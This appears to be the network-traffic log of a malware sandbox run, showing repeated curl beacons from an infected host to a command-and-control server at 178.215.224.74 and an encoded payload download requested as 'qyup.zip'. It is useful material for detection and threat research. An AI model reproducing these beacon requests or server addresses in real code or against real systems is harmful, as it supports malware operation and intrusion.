Nov 21, 2024 20:01:42.287781954 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:42 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	50047	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:43.497288942 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:44.752422094 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:44 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	50048	178.215.224.252	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:43.513156891 CET	98	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.252 User-Agent: curl/7.83.1 Accept: /

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	50049	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:45.402611017 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:46.663364887 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:46 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	50050	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:46.892848015 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:48.167445898 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:47 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	50051	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:48.728887081 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:50.022901058 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:49 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	50052	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:50.245455027 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:51.662812948 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:51 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	50053	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:52.363153934 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:53.664088964 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:53 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	50054	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:53.867381096 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:55.249310017 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:55 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	50055	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:55.863719940 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:57.253498077 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:57 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	50056	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:57.484677076 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:01:58.848591089 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:01:58 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	50057	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:01:59.477477074 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:00.862489939 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:00 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	50058	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:01.096887112 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:02.421952963 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:02 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	50059	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:03.138044119 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:04.439176083 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:04 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	50060	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:04.717284918 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:06.170751095 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:05 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	50061	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:06.967983007 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:08.285877943 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:08 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	50062	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:09.247013092 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:10.553332090 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:10 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	50063	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:10.718452930 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:12.026057005 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:11 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	50064	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:11.975272894 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:13.378485918 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:13 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	50065	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:12.307480097 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:13.580341101 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:13 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	50066	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:13.606559038 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:14.955813885 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:14 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	50067	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:13.812805891 CET	118	OUT	GET /v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:15.175194025 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:14 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 64 39 34 62 38 0d 0a 56 55 56 7a 52 6b 70 41 55 55 46 4a 51 30 4e 42 51 55 78 72 56 32 56 55 53 6d 52 61 65 47 4a 79 51 58 46 50 53 45 46 51 55 32 6c 45 5a 55 6c 4f 51 55 46 42 51 32 45 7a 52 6e 46 68 57 46 4a 75 54 58 45 31 61 57 42 48 65 6e 45 76 57 6a 73 36 56 6b 78 56 4d 30 46 4a 4e 6d 64 46 4d 55 39 54 58 45 68 4a 53 6b 30 32 52 30 42 44 61 57 4e 4a 52 57 45 34 55 44 4e 4a 65 6b 5a 35 4e 57 6c 76 61 7a 4a 2f 62 31 4a 44 51 57 4e 42 53 55 31 41 52 45 70 77 56 56 55 37 64 6c 42 45 64 55 56 68 52 57 77 32 54 30 64 57 65 31 68 74 63 44 4e 6d 50 6d 4e 57 56 6c 38 70 4d 33 78 69 4c 56 56 7a 4f 7a 46 77 59 6a 46 38 55 6d 64 30 55 55 70 53 64 32 6c 54 61 43 74 62 54 6c 64 52 63 55 4e 54 61 55 6c 6e 51 45 6b 31 4e 32 70 77 54 46 6c 54 62 32 39 54 51 32 31 67 5a 46 56 51 62 32 64 52 51 31 68 4d 64 44 45 78 4d 32 55 6a 4b 58 59 78 55 48 45 70 56 58 68 47 4e 7a 64 77 50 7a 73 77 4e 54 64 61 57 46 64 75 64 6e 52 30 57 33 35 56 4e 33 56 69 54 30 70 4e 59 30 67 34 51 7a 68 52 4e 47 70 70 4f 32 78 51 4e 6d 52 [TRUNCATED] Data Ascii: d94b8VUVzRkpAUUFJQ0NBQUxrV2VUSmRaeGJyQXFPSEFQU2lEZUlOQUFBQ2EzRnFhWFJuTXE1aWBHenEvWjs6VkxVM0FJNmdFMU9TXEhJSk02R0BDaWNJRWE4UDNJekZ5NWlvazJ/b1JDQWNBSU1AREpwVVU7dlBEdUVhRWw2T0dWe1htcDNmPmNWVl8pM3xiLVVzOzFwYjF8Umd0UUpSd2lTaCtbTldRcUNTaUlnQEk1N2pwTFlTb29TQ21gZFVQb2dRQ1hMdDExM2UjKXYxUHEpVXhGNzdwPzswNTdaWFdudnR0W35VN3ViT0pNY0g4QzhRNGppO2xQNmRpLXYtL3E6Ui82Yk06eGVWbXstcEx4ZHY3WGQvN2lSVFYzO3ZjL3JHVFYnNjdxYntYOU8tVS83OzcnOUNRdi8wVSlvYDVNKWxmKy81PmRtUGRJUycrNk9sbDVyent4W2lGQUxIc1lmamx0WFZ1RmVnYzM2YSszY3B0MW5FYWIxYS9HMUh2RWkwMTV2S2tgOUk9cGVjQU5WRlIyaGpAYUtNNHkzbllaTmViOz5tUC92UkxZWGg0am1NdGM5bjVlSzZkRjJkL3BKanIvRlZmT3l0fUBpamthdVRVd0ozbF9cd2BZSjcrbitoWk0+O2U3ai07VC9qdFdRdzlccnpDN3NlSC0pLTU1dlZlcXBJb24vMWxJSG1JVXpwLUVRWUg/YmtIKzc4c2x3cWgtS0phVWJgNzhMdHVjUkhjSzd3a2RDZm0xVkM0N25TcUEwND9KYjROWEl9aFpSZilnMU5vck06MTRLUnlkejEvdEVodnFkMmRDdHcxdnVJd39HNWF6SzppOnZ7M2RpO0hhN1N5dGNsRnpUI1YxNkxObFFuZyNdc0ZDLUVQN3VUMmZgelQxd0pWbnFFMVM4Zi8/eG91SDM1T2xBYE5vLTREc2ZyUS1aT3t2NztUMzZSNXNubmR+SWZWaDtER0V2dVh0YjtwNi9AN2QyM1
Nov 21, 2024 20:02:15.175209999 CET	1236	IN	Data Raw: 4e 42 4f 54 46 5a 5a 6d 31 68 56 46 6f 35 55 33 49 7a 4d 6b 34 31 4f 6e 4d 31 65 53 74 49 56 7a 78 55 4e 30 4a 68 55 31 42 2f 64 6a 5a 47 5a 45 77 30 4b 55 5a 78 49 31 42 6d 4f 31 55 79 53 45 4d 76 4f 57 70 45 64 6c 46 53 4e 45 68 45 4f 6b 70 79 Data Ascii: NBOTFZZm1hVFo5U3IzMk41OnM1eStIVzxUN0JhU1B/djZGZEw0KUZxI1BmO1UySEMvOWpEdlFSNEhEOkpyQilIVzZQUHpuOkFOZHd3STA7RHZ1OzMyTGpMMUhjSnN4Pm12amstWm03dHhQRHV0O2o3WmlpdDpGLUhYeU47Zm9mdy9KcVUnUjdUWE1mT01kZkxOdWA4V1VYI1I3dD4xRmsvLSktLTctOHA4XHJWMjJSTXBDVXF4Z
Nov 21, 2024 20:02:15.175228119 CET	448	IN	Data Raw: 34 34 51 45 74 47 64 30 5a 67 4e 6a 4a 59 58 32 68 4d 4b 33 52 47 61 48 4a 32 52 30 70 6f 53 31 68 71 54 46 51 74 54 30 78 4d 4f 6b 39 6d 64 30 42 77 53 57 4a 77 54 31 55 35 4d 69 39 6b 55 57 78 30 59 56 45 7a 54 44 6c 46 62 45 74 37 4e 57 70 53 Data Ascii: 44QEtGd0ZgNjJYX2hMK3RGaHJ2R0poS1hqTFQtT0xMOk9md0BwSWJwT1U5Mi9kUWx0YVEzTDlFbEt7NWpSWFFQNXZGbkVkTHBkY2k0VWpWRytnd21qZk5kTU11djRwN2xFeEhVcXgzYTVTV2RBdVRQN3Y6TkhjeEhccndDRndoeUdXLUNDdntIRVlDakRkS01yTXhVMjFlYTFaRVhWMExReXBXaU1sQWpIUUk6NW16MlFNQGw5d
Nov 21, 2024 20:02:15.175251961 CET	1236	IN	Data Raw: 52 48 63 7a 42 6c 56 31 68 41 53 54 4a 73 59 55 46 46 56 6b 70 71 54 58 52 30 61 32 4e 4e 5a 45 6b 33 62 58 52 36 5a 54 51 77 65 6a 46 51 4e 45 70 74 65 6d 39 59 61 6d 70 33 51 57 4e 6d 64 6c 46 70 4e 55 39 62 57 33 49 79 57 56 73 2f 4f 6e 52 7a Data Ascii: RHczBlV1hASTJsYUFFVkpqTXR0a2NNZEk3bXR6ZTQwejFQNEptem9Yamp3QWNmdlFpNU9bW3IyWVs/OnRzWFFrWkRGYi9panhFR296U2szV21VRTtXb2hTUHFzQ1ZTW3ZtO1Y0eHpKcXxPeXk+NVJ5YWVxUko7WElhaXh7T0dNOEtyR1ZMRz5gYUdtWEhTWkR6NWNnMjxUelJJdmNybTFIZ1BqW0laOU5sO0FafTBFPG5nM3tHb
Nov 21, 2024 20:02:15.175263882 CET	1236	IN	Data Raw: 35 79 61 33 70 49 54 46 41 77 52 55 4e 6b 65 46 70 52 4f 6a 51 30 55 6d 70 4d 62 44 52 4a 52 54 56 56 55 58 34 77 61 7a 5a 31 4d 45 4a 35 5a 55 31 6d 4e 57 64 66 57 46 46 6a 53 46 45 32 61 6d 35 50 4d 6b 45 78 55 6c 41 6a 64 45 42 57 4e 54 68 46 Data Ascii: 5ya3pITFAwRUNkeFpROjQ0UmpMbDRJRTVVUX4wazZ1MEJ5ZU1mNWdfWFFjSFE2am5PMkExUlAjdEBWNThFWFp6c0x6SGE1Y3hbUnNlejlYZHt6NmxsN0ZlbFhGQXdNTHNkclFDTFc3QDZ5eVpuZUZmTTh2d0NLXHZPbDhDOktVTjt6SUpsY1hoNjhrNGxlZ1ojYk5udDIxbnRtUCcyRnRpS255MGVGYX5QcHRHey1wd0Q4TVUwT
Nov 21, 2024 20:02:15.175275087 CET	448	IN	Data Raw: 39 70 65 57 78 71 55 6d 34 78 65 47 56 46 51 30 52 4d 52 30 77 31 65 45 35 6e 52 48 6c 49 52 6a 35 44 5a 54 63 76 56 30 46 4a 52 58 4a 7a 4e 48 4a 72 54 56 63 33 4e 56 42 45 4e 30 35 73 54 30 56 6f 57 57 74 71 64 45 31 4c 55 6d 55 33 63 45 6c 61 Data Ascii: 9peWxqUm4xeGVFQ0RMR0w1eE5nRHlIRj5DZTcvV0FJRXJzNHJrTVc3NVBEN05sT0VoWWtqdE1LUmU3cEladkRVQ25BRllkbls9NUZpRGFmVWFKUnJRQ2JLRkhVbWEyN2tOaXNWUWFzVFI6QnB5VGVSZXBMZ3JPSktSZUtmazFqTEVEMWdyS3dgWkhRMklKaG1PaEVHZ2haW3FQKTZ0d1UxeDszSzRUMWZFNm81WXNeVjRHTEhGV
Nov 21, 2024 20:02:15.175412893 CET	1236	IN	Data Raw: 5a 6b 53 6d 4e 4f 64 57 42 4b 4a 7a 5a 33 57 6c 5a 42 59 7a 56 6f 5a 32 46 47 65 45 5a 36 5a 33 46 5a 63 30 45 70 53 56 64 50 4f 6c 5a 78 55 32 6c 53 55 54 4a 6b 54 31 6c 6e 58 6b 42 57 62 6b 34 30 52 55 4e 73 63 6b 51 33 59 7a 67 74 57 48 67 31 Data Ascii: ZkSmNOdWBKJzZ3WlZBYzVoZ2FGeEZ6Z3FZc0EpSVdPOlZxU2lSUTJkT1lnXkBWbk40RUNsckQ3YzgtWHg1YXhnK1BWcmJSTFhDKWgrc0V0dWZjS2hodnRjRkRZWHdpa2x1f3Y7Y2trZ2BsVVFEeG0rcnpVR2N6YkR5T0ZYTjJpTTlmWW4xanBDWkxRakUwRVI1Uzl4cCl1UFZgJzRxZEEpMVpMZVt7Vkd3dDdLWnVlamdRZGxJM
Nov 21, 2024 20:02:15.175426006 CET	1236	IN	Data Raw: 70 52 4d 47 73 32 4e 6a 4a 78 64 6c 4e 59 57 45 4e 4d 4d 56 68 48 5a 57 74 76 53 55 31 57 65 6a 56 55 5a 46 4e 4c 4d 54 5a 4a 54 6e 64 30 64 48 64 4c 62 54 74 45 4a 32 56 36 4f 6b 4a 6a 5a 58 70 49 57 7a 4e 71 56 33 64 4a 51 55 64 48 55 57 4e 32 Data Ascii: pRMGs2NjJxdlNYWENMMVhHZWtvSU1WejVUZFNLMTZJTnd0dHdLbTtEJ2V6OkJjZXpIWzNqV3dJQUdHUWN2Z0d5ejRPSkRld2ZKc2syQXgzN25UUlY2Q3VpUHpwSWdzdlZBTU9RdzByMHszaWlITDA3LTZ4dkB1UlJhWnI4OnFVYTBbRTdVTHNoNDM2Y2p5UTQvTVNGYVJKcmFKUVhHbEk1d1dubGE5U3R7L25Jb2c1VFc3Y1N4c
Nov 21, 2024 20:02:15.175578117 CET	1236	IN	Data Raw: 4d 37 59 30 31 30 57 56 5a 68 55 6c 64 44 56 58 68 4a 52 54 42 79 64 6d 6c 33 59 57 52 4b 53 58 52 43 59 6d 6c 36 52 6d 39 4e 52 79 4e 7a 63 57 46 75 52 56 4e 33 4d 30 74 67 4f 56 52 66 52 32 46 47 53 43 6b 76 4e 48 56 52 54 43 39 7a 65 58 42 75 Data Ascii: M7Y010WVZhUldDVXhJRTBydml3YWRKSXRCYml6Rm9NRyNzcWFuRVN3M0tgOVRfR2FGSCkvNHVRTC9zeXBuS3lAcEY4RXFIUkNtMDU2NG5OMC90KWpyTGo7ZUZ3bEl7UWpQVHJiVVJtVTNARVYweWRRazB2Z1dSV2xlQVJHbHRqbWlsVHtBVWJRZFxtREtPU1NWb0YzWDZVVEpQN2o8dEFaWnZ7X0NSdUR6TClwUmdYTE9YUEo0V
Nov 21, 2024 20:02:15.175604105 CET	1236	IN	Data Raw: 6c 56 66 31 4a 62 59 6a 64 33 61 58 56 77 4e 55 4e 7a 4f 6c 68 52 63 47 68 52 53 44 68 55 4d 58 59 76 4b 30 5a 68 65 46 59 77 65 6b 35 67 52 47 6c 55 56 47 6c 72 61 6c 46 75 4d 33 74 54 61 56 46 42 64 6b 63 30 54 6d 30 37 53 6b 4e 70 61 46 6b 78 Data Ascii: lVf1JbYjd3aXVwNUNzOlhRcGhRSDhUMXYvK0ZheFYwek5gRGlUVGlralFuM3tTaVFBdkc0Tm07SkNpaFkxa0kwUTspSGV4QEAwM1VucltyWy1FYWorS2JJUlR7MGVFT3NadTVxaTNqNG5VYzE6LVZ0d0l7UkB0UGNudDVwNiN0UHFcQUBga0BjU2lIU3ZzYEdKbGNhUVFxZ0pWWjpNREZpR2dGU3pQbzlaUnlwSEcybmdVajVPc
Nov 21, 2024 20:02:15.294857979 CET	1236	IN	Data Raw: 6c 55 64 30 34 34 65 6a 46 51 4f 45 5a 6b 63 6d 56 6f 65 6a 46 5a 4d 55 64 6e 61 6e 74 7a 62 30 39 78 54 6b 4d 31 59 6c 56 4f 64 32 56 4d 49 33 68 30 5a 33 46 32 4d 31 52 45 59 31 46 33 5a 55 70 53 53 58 4a 47 5a 58 46 76 4e 32 31 47 4e 47 46 46 Data Ascii: lUd044ejFQOEZkcmVoejFZMUdnantzb09xTkM1YlVOd2VMI3h0Z3F2M1REY1F3ZUpSSXJGZXFvN21GNGFFaDBlbEVvb0k3MDNETUxZTlh6SXBpMHQ2VmZxdVN5Q0xEcXt0SVhKV0xLezpxSm9hSW9YcFFTYTJyS2dKdE13cUo5U2hyNDlobUtvdylzWkI1TlRsezlNLVF6TUFrdlVGcERYMUxdN3hAdG5oS1ZGSWJaRmo0emdnV

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	50068	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:15.932701111 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:17.215536118 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:16 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	50069	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:18.105129004 CET	175	OUT	GET /v10/ukyh.php?jspo=1&jwvs=9A5605DE11447A0E2031624EE8FBDE&zjyp=true&yuvc=false&nzrj=00000&sftb=true HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:19.431052923 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:19 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 64 6d 39 70 5a 67 3d 3d Data Ascii: dm9pZg==

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	50070	178.215.224.74	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 20:02:18.161283016 CET	97	OUT	GET /v10/ukyh.php?jspo=6 HTTP/1.1 Host: 178.215.224.74 User-Agent: curl/7.83.1 Accept: /
Nov 21, 2024 20:02:19.483735085 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:02:19 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 62 68 6c 6f Data Ascii: bhlo

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	50071	178.215.224.74	80

